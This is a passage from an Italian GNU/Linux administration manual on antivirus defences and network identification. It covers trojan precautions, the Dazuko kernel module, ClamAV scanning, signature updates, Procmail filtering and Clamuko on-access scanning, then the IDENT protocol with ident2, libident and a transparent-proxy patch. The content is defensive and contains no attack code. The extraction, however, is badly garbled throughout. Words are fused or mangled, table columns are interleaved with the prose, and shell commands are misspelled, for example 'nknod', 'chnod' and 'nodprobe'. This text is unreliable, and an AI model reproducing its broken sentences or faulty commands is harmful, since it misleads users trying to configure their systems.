gati a messaggi di posta elettronica. Nel momento in cubigpam-

ma di lettura della posta dovesse essere «troppo» ami@heiqo-

trebbe arrivare a estrarre e installare tali programmisggenza ren-
dersene conto. Sono noti gli attacchi di questo tipo cheistdmo

inesorabilmente gli utenti piu ingenui.

In linea di principio, non ci sono difese che tengano contrasvo

cavalli di Troia realizzati con perizia. Tuttavia, qualcd®orgimen-
to puo essere utile, soprattutto se si ritiene che il pragstema ope-
rativo di partenza sia abbastanza «sicuro» (cosa che carauran

si puo dimostrare). In generale valgono le solite raccoraaiodi

che si fanno in queste occasioni.

* Evitare di utilizzare software che non sia stato compilaéo-
sonalmente, dopo un esame attento dei sorgenti, 0 comunqu
evitare di utilizzare software compilato da persone scoines
te e anche da persone conosciute quando non si puo verificar
I'autenticita dell’origine.

« Evitare di abilitare I'esecuzione di script e programngadnpo-
rati in documenti ottenuti attraverso la rete (file HTML e @ost
elettronica principalmente).

« Evitare di usare il sistema operativo in qualita di utemteot ’
quando non serve: un virus avrebbe i privilegi necessarirper
fettare tutto il sistema, mentre un cavallo di Troia avrebbeesso
a tutti i file di dispositivo.

« Utilizzare un sistema di scansione realizzato appositdenper
verificare le alterazioni nei file, come AIDE e (sezict®6).

43.2.1 Dazuko

Dazukd (Dateizugriffskontrolleovvero: «controllo di accesso ai fi-
le») e il nome di un modulo per kernel Linux e FreeBSD, in grado
di fornire a un terzo programma le informazioni sui file che-ve
gono aperti durante il funzionamento del sistema opera@ueesto
meccanismo viene sfruttato proprio dai programmi che, gritel-
I'accesso a certi file, devono eseguire dei controlli, corakcaso
degli antivirus.

Il kernel Linux deve essere stato predisposto con I'atiovee di
alcune voci nel men&ecurity options
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[ 1 Enable access key retention support
[*] Enable different security nodels
[1] Socket and Networking Security Hooks

<M Default Linux Capabilities
< > Root Pl ug Support
<M>  BSD Secure Levels

Cio che si vede nell’esempio rappresenta il minimo indispéile
per poter comunicare con il modulo Dazuko.

Una volta compilato e installato il kernel Linux, & posstbpro-
cedere alla compilazione e installazione del modulo Dazukai
sorgenti si ottengono dattp.//www.dazuko.org

Perché la compilazione di Dazuko avvenga con successo, € ne
cessario che il kernel in funzione sia quello per il quale si
vuole produrre il modulo; inoltre, il collegamento simiuaii
‘/'1'i b/ modul es/ versioné bui | d’ deve puntare correttamente alla
directory contenente i sorgenti del kernel stesso.

Supponendo di avere scaricato il fikazuko-2.2. 1. tar. gz’, si
procede nel modo seguente:

$ tar xzvf dazuko-2.2.1.tar.gz [Invio]

$ cd dazuko- 2. 2. 1[Invio]

$ ./configure[Invio]

$ make [Invio]

L'ultima fase richiede i privilegi del’lamministratore bsistema:
$ su root -c "make install" [Invio]

Se tutto procede senza intoppi, si ottiene il filéi b/ nodul es/
versiond ext r a/ dazuko. ko’.

La procedura di installazione del modulo prevede ancheelazione
di un file di dispositivo speciale! dev/ dazuko’. Nel caso in cui ci
dovessero essere dei problemi, conviene sapere che siquaarg
tale file con i comandi seguenti:

# nknod /dev/dazuko c 254 0[Invio]
# chown root:root /dev/dazuko [Invio]
# chnod 660 /dev/ dazuko [Invio]

I modulo Dazuko va caricato rispettando una sequenza -preci
sa, altrimenti viene rifiutato. In breve, conviene usare maadi
seguenti:

# rmmod capabi ity [Invio]
# nodprobe dazuko [Invio]
# modpr obe capabil ity [Invio]

Ecco come dovrebbe apparire nell’elenco dei moduli attivi:

# | snod [ Invio]

Modul e Size Used by

capability 4872 0

dazuko 55824 2

commoncap 7168 2 capability, dazuko
43.2.2 Clamav

«
ClamaV ¢ un sistema di individuazione di virus informatici abba-
stanza completo, ma senza la possibilita di rimuovere ilaeodan-
noso dai file infetti. Per la scansione manuale dei file, aflarca
di virus o0 comunque di codice pericoloso noto, si usa il progna
‘cl amscan’:

cl amscan [opzionﬂ [filel director)]

Come si vede dal modello sintattico, alla fine della riga dnao-
do si annotano i file o le directory da scandire, ma in mancainza
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tale indicazione, si ottiene la scansione della directanyente. Si Come si puo intuire, il filemai n. cvd’ € quello complessivo, con
osservi pero che la scansione delle directory non prevededa tutte le impronte virali conosciute, aggiornato a cadenemsite,
sione nelle sottodirectory successive, a meno di usaregsgnente mentre il file‘dai | y. cvd’ viene aggiornato ogni giorno, con le im-
I'opzione*-r’. pronte virali nuove che non sono ancora presenti nel prirmoGle-

sti due file vanno collocati nella directorivar / 1i b/ cl amav/ ', 0

Tabella 43.14. Alcune opzioni. . ) . . .
nella directory equivalente prevista nel proprio sisterperativo.

Opzione Descrizione
Fa si che il programma funzioni in modo Per automatizzare I'aggiornamento della propria copiangironte
--quiet «silenzioso», mostrando solo i messaggi di virali, Clamav prevede il programmiér eshcl ani, a cui si associa
ferrore. il file di configurazione/ et ¢/ cl amav/ f r eshcl am conf ':
~d fil] directory Indica di utilizzare un file particolare
il contenuto di una directory come elenco
-- dat abase=file| directory | delle impronte virali di riconoscimento dei freshel am [ opzion]
1 fie VLS. In condizioni normali, avviando il programma senza opzienot-
Richiede di salvare una copia del rapporto tiene I'aggiornamento dei file delle impronte virali, netiaectory
--1 og=file di scansione nel file indicato. predefinita {/ var/ 1 i b/ cl amav/’), ma cid richiede che il file di
configurazione contenga almeno la direttiva seguente:
o Richiede si scandire in modo ricorsivo [ Dat abaseM rror_dat abase. ¢l amav. net ‘
- -recursive anche le sottodirectory. — I . -
Il programma’‘f r eshcl ani non richiede privilegi particolari per
--bell Richiede di generare un segnale acustico al funzionare, a parte quelli necessari a poter aggiornare idglle
riconoscimento di un virus. impronte virali. Di solito si predispone l'utente fittizial amav’ e
- Richiede di mostrare soltanto i file che sifain modo che i programmi di Clamav funzionino con i pigl
it ected risultano infetti. concessi a tale utente.
_ _ _ Tabella 43.17. Alcune opzioni
remove Richiede di cance‘:IIarel i file che sono|o Opzione Descrizione
sembrano essere infetti. - )
Richiede di spostare nella directory indli- - qui et Fa si che vengano emessi soltanto i
- - move=directory cata i file che sono o sembrano es%jere messaggi di errore.
infetti. -1 file Fa in modo di salvare il rapporto sul-
lo scarico delle impronte virali nel file
Segue la descrizione di alcuni esempi. - -1 og=file indicato.
Specifica esplicitamente Ta directory al-
*$ clamscan [Invio] - - dat adi r =directory linterno della quale salvare i file delle
Scandisce i file contenuti nella directory corrente (lecstitec- impronte virali aggiornate. _ ,
tory vengono tralasciate). U utente Quando il programma viene avviato con i

privilegi dell’'utente‘r oot ’, questa opzio
ne fa si che i privilegi vengano ridotti [a
quelli dell'utente indicato.

® $ clanmscan /bin/b* [Invio] - . user =utente

Scandisce i file che corrispondono al modello.

o ) -d Fa si che il programma rimanga in funzio-
*$cat mofile | clamcan - [Invio] ne, come demone, ma richiede anche I'iso
Scandisce un file ricevendolo dallo standard input. +-daemon dellopzione*-c’.

Questa opzione viene usata assiemeda

®$ clamscan -r /hone [Invio] -cn - .
e specifica quante volte al giorno control-

Scandisce tutto il contenuto della directorhone/ ', incluse le - checks=n lare per I'esistenza di aggiornamenti alle
sottodirectory. impronte virali. 1
43.2.2.1 Aggiornamento delle impronte virali Segue la descrizione di alcuni esempi.
«
Un programma antivirus, per poter essere efficace, richiedee- *$ freshcl am[Invio]
re un aggiornamento frequente delle impronte virali, oowelle Aggiorna i file delle impronte virali nella directory predeifa,
stringhe di riconoscimento dei virus 0 comunque del codige-d in base alla configurazione. Si presume che il programma siz
noso. In un'installazione normale di Clamav, i file che cogte- avviato con i privilegi necessari per poter salvare tali file
no tali informazioni vengono conservati nella directaryar / | i b/ ) ]
¢l amav/’ *$ freshcl am - - dat adi r =$HOVE[ Invio]

Scarica i file delle impronte virali nella directory perstna

La distribuzione dei file contenenti le impronte virali aexne attra-
dell'utente.

verso una serie di elaboratori a cui si puo accedere con iengen
nericodatabase.clamav.nétquale si trasforma automaticamente in *$ freshclam-d -c 3[Invio]

un indirizzo abbastanza «vicino»: Awvia il programma come demone, richiedendo di eseguire tre

$ host dat abase. cl amav. net [Invio] controlli al giorno.

. ) )
dat abase. cl amav. net is an alias for db.local.clamav. net. # freshclam -u cl amav [Invio]

db.local .clamav. net is an alias for db.it.clamav.net. Avvia il programma in modo da vaUiSire i priViIEQi dell'utie
db.it.clamav.net has address 213.92.8.5 ‘cl amav’

db.it.clamav.net has address 159.149. 155. 69
db.it.clamav.net has address 193.206. 139. 37

Da questo indirizzo si possono prelevare i fileai n. cvd’ e
‘dai | y. cvd’, ovviamente quando questi risultano aggiornati:

http://database.clamav.net/main.cvd
http://database.clamav.net/daily.cvd

Tabella 43.18. Alcune direttive di configurazione.
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Opzione

volume | Sistemi GNU/Linux

Descrizione
Specifica il nome a domi-
nio dell’'elaboratore a cui
rivolgersi per I'aggiorna
mento delle impronte vi-
rali. In generale, conviene
scrivere il nomedatabase.

clamav.net
Quando  ‘freshcl ani

viene awviato con i pri
vilegi dell'utente ‘r oot ’,
fa in modo che i privileg
effettivi vengano ridotti g
quelli dell'utente indicato
Specifica la directory ch
deve contenere i file delle
impronte virali.
Fa in modo di salvare il
rapporto sullo scarico de
le impronte virali nel file|
indicato.

Dat abaseM rror nome_a_dominio

Dat abaseOaner utente

(1]

Dat abaseDi rect ory directory

Updat eLogFi | e file

43.2.2.2 Scansioni pit 0 meno automatiche

Per facilitare la richiesta di una scansione esiste ancteriione
‘cl amd’, il cui funzionamento viene controllato esclusivamente at
traverso un file di configurazionét et ¢/ cl amav/ cl amd. conf’.
Dinorma, il demone viene avviato con i privilegi dell'utent oot *,
salvo ridurli poi in base alla configurazione.

cland [ -c file_di_configurazion# --config-fil e:file_di_configurazion§

Come si vede dal modello sintattico, con I'opzidre’ € possibile
dichiarare un file di configurazione diverso da quello preuf@fin
fase di compilazione del programma.

Tabella 43.19. Alcune direttive di configurazione.
Opzione Descrizione
Fa si che il demone fun
zioni con i privilegi del-
l'utente indicato. Di so
lito si tratta dell’'uten-
te ‘cl amav’, salvo i ca-|
si in cui e proprio neces-
sario mantenere i privilegi

dell'utente‘r oot '.
Specifica il file da usa-

re per annotare le ope
razioni svolte. Di solitg
si tratta di ‘/var/I og/
cl amav/ cl anav. | og’.
Specifica la directory ch
contiene i file delle im-
pronte virali.

User utente

LogFi | e file

11

Dat abaseDi rectory directory

In generale;cl amd’ da solo non serve: lo si installa sempre solo per
consentire ad altri programmi di interagire con il sistem@ldmav.
Pertanto, anche la configurazione dipende dalle esigerzifishe
che si vengono a presentare.

43.2.2.3 Utilizzo di «clamdscan»

Per eseguire una scansione «manuale», sfruttando pertndrae

‘cl amd’, si puo utilizzare il programmal andscan’. Questo fun-

ziona sostanzialmente comd anmscan’, ma con la differenza che
il suo avvio € meno pesante:

cl amiscan [opzion] [filel director)]

Alcune delle opzioni dicl anscan’ sono prive di significato per
‘cl andscan’.
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Tabella 43.20. Alcune opzioni.

Opzione Descrizione
Fa si che il programma funzioni in modo
--quiet «silenzioso», mostrando solo i messaggi di
errore.
-1 file . ) .
Richiede di salvare una copia del rapparto
- -1 og=file di scansione nel file indicato.
- remove Richiede di cancellare i file che sono|o
sembrano essere infetti.
Richiede di spostare nella directory indi-
- - move=directory cata i file che sono o sembrano es%jere
infetti.

Il programma‘cl andscan’, avvalendosi del demone!l amd’, ri-
sente dei permessi con i quali il demone stesso e avviataatica,
se‘cl amd’ funziona con i privilegi di un utente fittizio che non ha
accesso a certi file, non puo controllarne il contenuto.

Segue la descrizione di alcuni esempi.

®$ cl andscan [Invio]

Scandisce i file contenuti nella directory corrente (lecditec-
tory vengono tralasciate).

® $ clandscan /bi n/ b* [Invio]
Scandisce i file che corrispondono al modello.

*$ cat mo_file | clanmdscan - [Invio]

Scandisce un file ricevendolo dallo standard input.

43.2.2.4 Verifica del funzionamento
«

Assieme a Clamav vengono distribuiti anche dei file innooua,
individuabili come affetti da un virus. Di solito si colloga nella
directory‘/ usr/ share/ cl amav-testfiles/’:

$ clamscan /usr/share/clamav-testfiles [Invio]

/usr/share/clamav-testfiles/clamerror.rar: RAR nodule failure
lusr/share/cl amav-testfiles/debugmc: OK
lusr/share/clamav-testfiles/clamcab: Unable to open file or directory
l'usr/sharel/ cl amav-testfil es/clam exe. bz2: C amAV-Test-File FOUND
/usr/sharel/clamav-testfiles/cl am exe: C amAV-Test-File FOUND
/usr/share/clamav-testfiles/clamrar: O amAV-Test-File FOUND

/usr/share/cl amav-testfiles/clam zip: Cl amAV- Test-File FOUND

----------- SCAN SUMVARY - ----------
Known viruses: 60743

Engi ne version: 0.88.2

Scanned directories: 1

Scanned files: 7

Infected files: 4

Data scanned: 0.00 MB

Time: 2.601 sec (0 m2 s)

43.2.2.5 Utilizzare Procmail per scandire
automaticamente i messaggi di posta elettronica

«
Con l'aiuto di Procmail (sezion89.15 é possibile utilizzare Cla-

mav, per scandire i messaggi prima del recapito finale effiigt. Si
possono inserire nel file-/ . procmai | r ¢’ le direttive seguenti:

[ # Scan for viruses
10
VI RUS=| cl andscan --no-sunmary --stdout -

10
| * VIRUS ?? ~.+FOUND
Vi rus
Nella prima fase viene avviato il programrd andscan’ (con le
opzioni che si vedono), inviandogli il messaggio di postitebnica
attraverso lo standard input. Il risultato della scansi®ne testo de-
scrittivo che viene emesso dal programma attraverso lalatdrout-
put, il quale cosi viene assegnato alla variabilRUS. Nella secon-
da fase viene preso in considerazione lo stesso messagpastai
elettronica, verificando che la variabNddRUS contenga la stringa
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‘FOUND alla fine: se c’e la corrispondenza, il messaggio viene messc
nel file o nella directoryvi rus’.

volume | Sistemi GNU/Linux

Figura 43.23. Spiegazione dettagliata.
inizio prima rimm\

variabile a cui assegnare 1o :0
standard output del comando
VIRUS=|cl

ry —-stdout -

comando da esegure che riceve dallo standard inpy
¢ restituisce attraverso lo standard output un me;
stream: ClamAV-Test.

essaggio da analizzare
da verificare, tipo:
UND

inizio seconda ricetta espressione regolare da applicar al contenuto della variabile
\ che appare alla sinistra

:0

dichiara Pinizio di una condizione Vespressione regolare verifica la presenza

della parola FOUND alla fine del contenuto

della variabile

* VIRUS ?? . *FOUND

virus viene confrontato il contenuto della variabile con I'espressione

regolare che appare alla destra
file o directory
dove depositare

i messaggi che corrispondono
alla condizione

43.2.3 Clamuko

Clamav puo utilizzare le funzionalita offerte dal modulozDio per
controllare al volo i file a cui si sta per accedere (attravérsiste-
ma operativo). Il nome Clamuko rappresenta una funzionéecon

ta nel demoneécl! and’, specializzata in questa comunicazione con
Dazuko.

Nella sezionet3.2.1¢e descritto il procedimento necessario a compi-
lare, installare e attivare il modulo Dazuko per un kernelux. Na-
turalmente, il modulo Dazuko deve essere attivo prima afiermione

‘cl and’ sia messo in funzione.

43.2.3.1 Preparazione del demone «clamad»

<

E probabile che il demonecl and’ sia stato compilato per la
propria distribuzione GNU/Linux escludendo Clamuko. Iratpr
ca, potrebbe essere stato usato lo scuphfi gure’ con I'opzio-

ne ‘- - di sabl e- cl anuko’. Se le cose stanno cosi, € necessario
ricompilare‘cl anmd’ nel modo appropriato.

Atitolo di esempio vengono sintetizzati i passaggi neagage&com-
pilare il pacchettocl anav’ della distribuzione GNU/Linux Debian
(si veda la sezion@.8 per una descrizione piu dettagliata).

1. Siacquisiscono temporaneamente i privilegi dell’amstiatore:
$ su[lnvio]
2. Siinstallano gli strumenti di sviluppo:
# apt-get install fakeroot build-essential [Invio]
# apt-get build-dep clamav [Invio]
3. Sitorna a operare in qualita di utente comune:
# exit [Invio]
4. Si acquisiscono i sorgenti nella directory corrente:
$ apt-get source clamav [Invio]
5. Si modifica il file'debi an/ rul es’:
$ cd cl amav- versione[ Invio]
$ vi

debi an/ rul es [Invio]

Owvviamente si puo usare qualunque altro programma per l& mod
fica di file di testo. Cio che va modificato sono le righe in cdasi
riferimento allo scriptconf i gur e’, dove va eliminata I'opzione
‘- -di sabl e- cl anuko’.

6. Si ricompila e si riassembla un nuovo pacchetto binario:
$ dpkg-bui | dpackage -rfakeroot -uc -us/[Invio]

7. Siinstalla:
$ cd .. [Invio]
$ su[lInvio]

# dpkg -i cl amav-daenom *. deb [Invio]

«
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43.2.3.2 Configurazione del demone «clamad»
La configurazione del demoriel and’ richiede 'uso di direttive
speciali, oltre al fatto chéeve funzionarenecessariamenteon i

privilegi dell’'utente ‘r oot '. L'esempio seguente mostra le direttive
salienti del file'/ et ¢/ cl amav/ cl and. conf’:

#User clamav

| C anukoScanOnAccess

Cl anukoScanOnOpen

Cl anmukoScanOnCl ose

Cl amukoScanOnExec

C anukol ncl udePat h /

Cl anmukoExcl udePat h / proc

C anukoExcl udePat h /sys

Cl anmukoExcl udePat h / dev

#Cl amukoMaxFi | eSi ze 5M

#VirusEvent echo found virus % | nail

VirusEvent |ogger found virus W &
Per cominciare si vede che la direttitdser’ € commentata, in
modo da mantenere i privilegi dell’'utenteoot * durante il funzio-
namento del demone. La direttiva@l anukoScanOnAccess’ atti-
va le funzionalita Clamuko, mentre le tre direttive suctesst-
tivano la scansione nelle varie fasi di accesso ai file. Letiile
‘d anukol ncl udePat h’ servono a indicare i percorsi a partire dai
quali eseguire il controllo (si intendono anche le sottectiory), co-
si come le direttived anukoExcl udePat h’ servono a escludere
dei percorsi. Si osservi che di norma € bene limitare i psiaia
controllare all'indispensabile, per evitare di appesantioppo il
funzionamento del sistema operativo:

root @ ocal host &

C anukol ncl udePat h / hone

Cl anmukol ncl udePat h /var/ spool / mai |
C anukol ncl udePat h /var/ nai |

Cl anmukol ncl udePat h /var/tnp

| anukol ncl udePat h /tnp

Il demone‘cl anmd’ si limita a far impedire I'accesso ai file che ri-
sultano o sembrano essere infetti, annotando il fatto ragr re-
gistro (quello che si definisce con la direttitagFi | e’). Per fare

in modo che il fatto venga percepito anche in altro modo, & pu
usare la direttivavi r usEvent ', che nell’esempio si limita a copia-
re I'informazione nel registro del sistema, attraversordgramma

‘I ogger’. Si puo0 intuire che%’ sia una variabile che si espande
automaticamente nel nome del virus individuato.

43.2.3.3 Sequenza di attivazione e verifica del
funzionamento

«
Come gia accennato, prima di avviare il demarieand’, € necessa-
rio che sia gia attivo il modulalazuko’. A titolo di esempio, I'avvio
di Clamuko potrebbe avvenire nel modo seguente:

# rmmod capabi | ity [Invio]

# nodpr obe dazuko [ Invio]

# nodprobe capability [Invio]
# cl and [Invio]

Naturalmente, per verificare che Clamuko sia attivo effeitiente si
puo dare un’occhiata al registro tenuto‘daand’ (dovrebbe essere
il file */ var/1 og/ cl amav/ cl amav. | 0og’):

Sun Jul 2 10:45:40 2012 -> O anuko: Correctly registered with Dazuko.

Sun Jul 2 10:45:40 2012 -> C anuko: Scan-on-open node activated.

Sun Jul 2 10:45:40 2012 -> d anuko: Scan-on-close node activated.

Sun Jul 2 10:45:40 2012 -> danuko: Scan-on-exec node activated.

Sun Jul 2 10:45:40 2012 -> O amuko: |ncluded path

Sun Jul 2 10:45:40 2012 -> danuko: Max file size linmted to 5242880 bytes.
Inoltre, tentando di leggere un file contenente un’improritale

conosciuta, come nel caso del fild am exe’ di esempio, purché
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sia collocato in uno dei percorsi previsti, si deve ottengresrrore
dovuto all'impossibilita di portare a termine I'operazeodi accesso:

volume | Sistemi GNU/Linux

$ cat clam exe [Invio]

cat: clamexe: Operation not pernitted

Poi, nel registro dicl amd’, si deve vedere I'esito della scansione:

Sun Jul 2 11:34:44 2012 -> d anuko:
—C amAV- Test - Fi | e FOUND

/'hone/ tiziolclamexe: -

\
43.2.3.4 Problemi

Il sistema di protezione di Clamuko puo essere efficace, smral-
lentamenti eccessivi ogni volta che un programma deveeapnifile
di dimensioni abbastanza grandi. Di conseguenza, € umsigieco
pratico e spesso anche inutilizzabile, a meno di ridurredéegione

@ ;i file molto piccoli.

Un altro problema significativo riguarda I'uso del sistema3\per
la condivisione dei file attraverso la rete: se si utilizzadlvizio
gestito internamente al kernel Linux, il controllo avvienemodo
intermittente.

43.3 Protocollo IDENT

In quasi tutte le distribuzioni GNU, nella configurazioné sieper-
visore dei servizi di rete & prevista I'attivazione del $s8o/IDENT,
corrispondente alla portaut h’ (113). Nel caso di Inetd, il file

‘/ etc/inetd. conf’ potrebbe contenere una riga simile a quella
seguente:

auth stream tcp nowait identd /usr/sbin/identd identd

|-
I demone'‘i dent d’ ha lo scopo di controllare i collegamenti per
mezzo del protocollo TCP. In tal modo € in grado di informdre i
nodo all’altro capo del collegamento sul nominativo-ugedt chi
esegue quel collegamento. Si osservi la figura 43.30.

Figura 43.30. Il protocollo IDENT serve a fornire alla cantr
parte le informazioni necessarie a identificare I'utente leh in
corso una connessione TCP patrticolare.

porta 1108 porta 23

nodo A
identd in
funzione

connessione TCP

*“. protocollo IDENT -

«chi & che ha attivato la connessione 23,1108?»

Seguendo I'esempio della figura, se un utente del nodo «Aniha i
ziato una connessione TCP con il nodo «B» (in questo casatta tr
di TELNET), dal nodo «B» puo essere richiesto al nodo «A» di fo
nire le informazioni sull’'utente che esegue il processpaasabile
del collegamento. Come si vede, tale richiesta viene fatado il
protocollo IDENT e la risposta puo essere fornita solo sedine
gestisce tale servizio.

In linea teorica, € utile fornire questo tipo di servizioyghe il de-
mone‘i dent d’ non sia stato compromesso e fornisca informazioni
corrette. In questo modo, se un utente di un sistema chestarili
servizio IDENT, utilizzando il protocollo TCP, cercasseatjgre-
dire un qualche nodo esterno, 'amministratore del nodoejmp
potrebbe ottenere il nominativo-utente di quella persdtraverso
il protocollo IDENT. Successivamente, tale amministratavrebbe
modo di essere piu dettagliato nel riferire 'accaduto @l eallega
del sistema da cui € originato I'attacco, a tutto vantaggiquesto
ultimo amministratore. Tuttavia, in pratica si consideha d proto-
collo IDENT non sia corretto per la riservatezza persona@nde a
essere utilizzato solo nelle reti private, per controllaecessibilita
di certi servizi interni, ma senza permettere che tale jpalo possa
poi raggiungere l'esterno.
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43.3.1 Ident2
«
IdentZ & uno tra tanti servizi IDENT disponibili per i sistemi GNU.
Il programma che svolge il lavoro viene chiamato generatmen
‘i dent 2’ e la configurazione del supervisore dei servizi di rete, in
questo caso nel filg et c/ i net d. conf’, viene fatta normalmente
cosi:

‘ # | etc/inetd. conf

auth stream tcp nowait root /usr/sbin/ident2 ident2
Come si puo osservare, il programma viene avviato con ilpgvi
dell’'utente‘r oot ’ e di norma non si usano opzioni.

Si nota I'assenza del richiamo al TCP wrapper, in quanto & yu
le che il servizio IDENT sia accessibile a tutti i nodi e non so
lo a quelli che passano il filtro stabilito all'interno diet c/
hosts. al | ow e‘/ et ¢/ hosts. deny’. Inoltre, va osservato che
il TCP wrapper non puo essere utilizzato perché esso stegsp p
essere configurato per interrogare I'origine di una ridaiedtra-
verso il protocollo IDENT, formando in tal caso un ciclo sanz
fine.

43.3.2 Interrogazione del servizio e librerie

«
A quanto pare manca un programma di servizio specifico peeti
rogazione del servizio IDENT; in pratica si deve utilizzarecliente
TELNET verso la porta 113 (denominatat h’).

Il primo problema & quello di scoprire le porte della conimss che

si intende verificare alla fonte. Questo lo si fa ¢oet st at . A tito-

lo di esempio, siimmagina di essere nel nodo «B» dello scheaa
strato nella figura 43.30 e di volere verificare I'origine daiconnes-
sione TELNET proveniente dal nodo «A» (proprio come mostrav
la figura).

Prima di tutto, si deve scoprire che esiste una connessiBh&IET
(sospetta), cosa che avviene attraverso la lettura deiaggisdel
registro del sistema. Purtroppo, se il TCP wrapper non & garaio
correttamente, potrebbe mancare 'indicazione dellespatitizzate,
costringendo ad andare un po’ per tentativi. Si suppone iehims
corso attualmente un’unica connessione di questo tipaJ itaso la
lettura del rapporto dinet st at * non puo generare equivoci.

$ netstat -n[lInvio]

Il rapporto potrebbe essere piuttosto lungo. Per quellorichuarda
questo esempio, si potrebbe notare I'estratto seguente:

Active Internet connections (W o servers)

Proto Recv-Q Send-Q Local Address Forei gn Address State

;cp 0 0 192.168.254.1: 23 192.168.1.1: 1108 ESTABLI SHED

Il punto di vista &€ quello del nodo 192.168.254.1, mentr@dmre-
moto & 192.168.1.1. Per interrogare il servizio IDENT pogbso-
do remoto si utilizza un cliente TELNET nel modo seguenteifev
tualmente, al posto del nomeut h’ si puo indicare direttamente il

numero: 113).

$ telnet 192.168.1.1 auth[Invio]

Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '7]’

1108 , 23 [Invio]

1108 , 23 : USERID : OTHER :tizio
Connection closed by foreign host.

Cosi si viene a conoscere che la connessione € intrattenut
dall'utente‘ti zi o@92. 168. 1. 1".
Un demone di un servizio qualunque potrebbe essere modifitat

modo da utilizzare sistematicamente il protocollo IDENT jo¢er-
pellare i clienti, annotando nel registro del sistema gdintit che
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accedono. Per questo e altri utilizzi, esiste la librérigbi dent’,
disponibile con quasi tutte le distribuzioni GNU.

Probabilmente, solo la distribuzione Debian acclude il deen

‘i denttestd’ assieme alla librerial i bi dent’. Si tratta di un
programma da collocare nel file di configurazione del sugervi
re dei servizi di rete, per esempibet c/ i net d. conf’, collegan-
dolo a una porta non utilizzata, il cui scopo € solo quellodai r
stituire le informazioni di chi dovesse fare un tentativoadces-

so attraverso un cliente TELNET su quella stessa porta.dticar,

‘i dent t est d’ serve esclusivamente per verificare il funzionamento
del proprio servizio IDENT.

Nel caso si utilizzi Inetd, si attiva il servizio (diagnasi) attraverso
una riga come quella seguente, nel filet ¢/ i net d. conf .

volume | Sistemi GNU/Linux

3113 stream tcp nowait root /usr/sbin/in.identtestd .-
“—in.identtestd

Una volta riavviato il supervisore dei servizi di rete, siopin-
terpellare tale «servizio» con un cliente TELNET da un nadlo i
cui e presente IDENT, per verificarne il funzionamento. Sievsi
I'esempio.

# telnet 192.168.1.1 3113 [Invio]

Trying 192.168.1.1...

Connected to 192.168.1. 1.

Escape character is ""]’.

Wel cone to the | DENT server tester, version 1.9
(Linked with libident-1ibident 0.21 Debian 4)

Connecting to Ident server at 192.168.254.1...

Querying for Iport 2252, fport 9999....
Readi ng response data. ..
Userid response is:
Lport........ 2252
Fport........ 9999
psys. ....... OTHER
Charset...... <not specified>
Identifier... root

Connection closed by foreign host.

43.3.3 Autenticazione interna tramite IDENT

All'inizio della sezione dedicata al protocollo IDENT, sc@nna
al fatto che questo protocollo, in sé, implichi una mancadiza-
servatezza per gli utenti, oltre che un maggiore pericapetto ai
tentativi di accesso dall’esterno (in quanto la conoscetfezaomi-
nativi utente esistenti consente di concentrare I'at@mmezsu quelli).
Tuttavia, si pud isolare unarete locale, rispetto all'esieattraverso
un firewall che impedisca il transito di richieste IDENT,wgfando
il servizio internamente.

In una rete locale, il protocollo IDENT consente di abil@dtac-

cesso a servizi interni, in base al nominativo utente. Unmsione
molto comune riguarda il riconoscimento degli utenti chesgiono
(dalla rete locale) a una base di dati interna, oppure ibfittegli

accessi a un proxy che risulta essere I'unica possibiliacdesso
all'esterno con il protocollo HTTP.

Figura 43.37. Se si vuole usare il protocollo IDENT nelleeret
locale, € opportuno che questo non possa attraversaretdrrou
che instrada verso la rete esterna.

firewall che impedisce il pussagio
el protosollo IDENT

proto
DENT

-

1 1o IDENT

rete locale

=EE
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43.3.4 Proxy trasparente
«

Come accennato poco sopra, una delle situazioni in cui deratile
0 necessario I'uso del protocollo IDENT é rappresentatdfitied
all'accesso esterno verso il protocollo HTTP, attraversgroxy.
Ma se questo servizio proxy funziona in modo «trasparentesg-o
ro all'insaputa dei programmi clienti, come se si trattedisen rou-
ter normale, il meccanismo del riconoscimento tramite dtpcollo
IDENT non funziona.

Figura 43.38. Lo schema semplifica il problema introdottb da

proxy trasparente che non € in grado di interrogare il sirviz

IDENT.

IDENT

=)
nessuno ha richiesto la tale porta presso di te

Perché un proxy trasparente possa avvalersi del servi&idTDper
riconoscere gli utenti e decidere se autorizzarli o menccaddere,
occorre che il programma che offre il servizio IDENT sia stato-
dificato ad arte. Nel caso di Ident2 esiste una modifica, pedal
da Fabian Franz, valida pero solo per la versione adattat@insi
GNU/Linux. La modifica da apportare al sorgente di Ident2iaig
da il file ‘sys/ m | i nux. ¢’ che, prima della modifica, contiene il
pezzo seguente:

proxy trasparente

rete esterna

chi sta usando la mia porta 80807

if (Ip ==local_port & rp == renote_port
&& renote_addr == raddr->s_addr) {
if (laddr == NULL) {
fclose (fp);
return uid;

else if (laddr->s_addr

== | ocal _addr) {
fclose (fp);
return uid;

}

Ecco come si presenta dopo la modifica, dove le righe modificat
sono evidenziate con un carattere piu scuro:

if (Ip == local _port
&% (rp == remote_port || (renpte_port == 80 & rp == 8080))
&& (renote_addr == raddr->s_addr
|| (renote_port == 80 & rp == 8080))) {
if (laddr == NULL) {
fclose (fp):
return uid;
}
else if (laddr->s_addr
== local _addr) {
fclose (fp);
return uid;

}

In pratica, con questa modifica, se viene fatta una richigfsmata
a una porta 8080 e il servente IDENT trova una connession#aiv
alla porta 80, da le informazioni su tale connessione, aselgiesta
e diretta a un indirizzo differente.

43.4 TCP wrapper in detftaglio

«
L'uso del TCP wrapper (il programmacpd’) € gia descritto in mo-
do sommario nella seziorg6.1 In quella fase vengono pero trascu-
rate le sue potenzialia di controllo, le quali possono efesi fino
all'utilizzo del protocollo IDENT.

La configurazione del TCP wrapper avviene esclusivamenmte- at
versoifile'/ et c/ hosts. al | ow €'/ et ¢/ host s. deny’, all'inter-
no dei quali si possono utilizzare direttive piu complessquelle
gia descritte nella sezior&6.1 In ogni caso, € bene ribadire che lo
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scopo di questi file & quello di trovare una corrispondenzalce
tente e il nodo che tenta di accedere a uno dei servizi mettsi so
il controllo del supervisore dei servizi di rete e di altringei che
incorporano il TCP wrapper attraverso delle librerie. Lafie ini-

zia dal file‘/ etc/ hosts. al | ow e continua con/ et c/ hosts.
deny’, fermandosi alla prima corrispondenza corretta. Se la-corr
spondenza avviene con una direttiva del‘filet ¢/ host s. al | ow,
I'accesso e consentito; se la corrispondenza avviene carlivet-
tiva di ‘/ et ¢/ host s. deny’, I'accesso & impedito; se non avviene
alcuna corrispondenza I'accesso e consentito.

volume | Sistemi GNU/Linux

La configurazione del TCP wrapper & importante in un elabora-
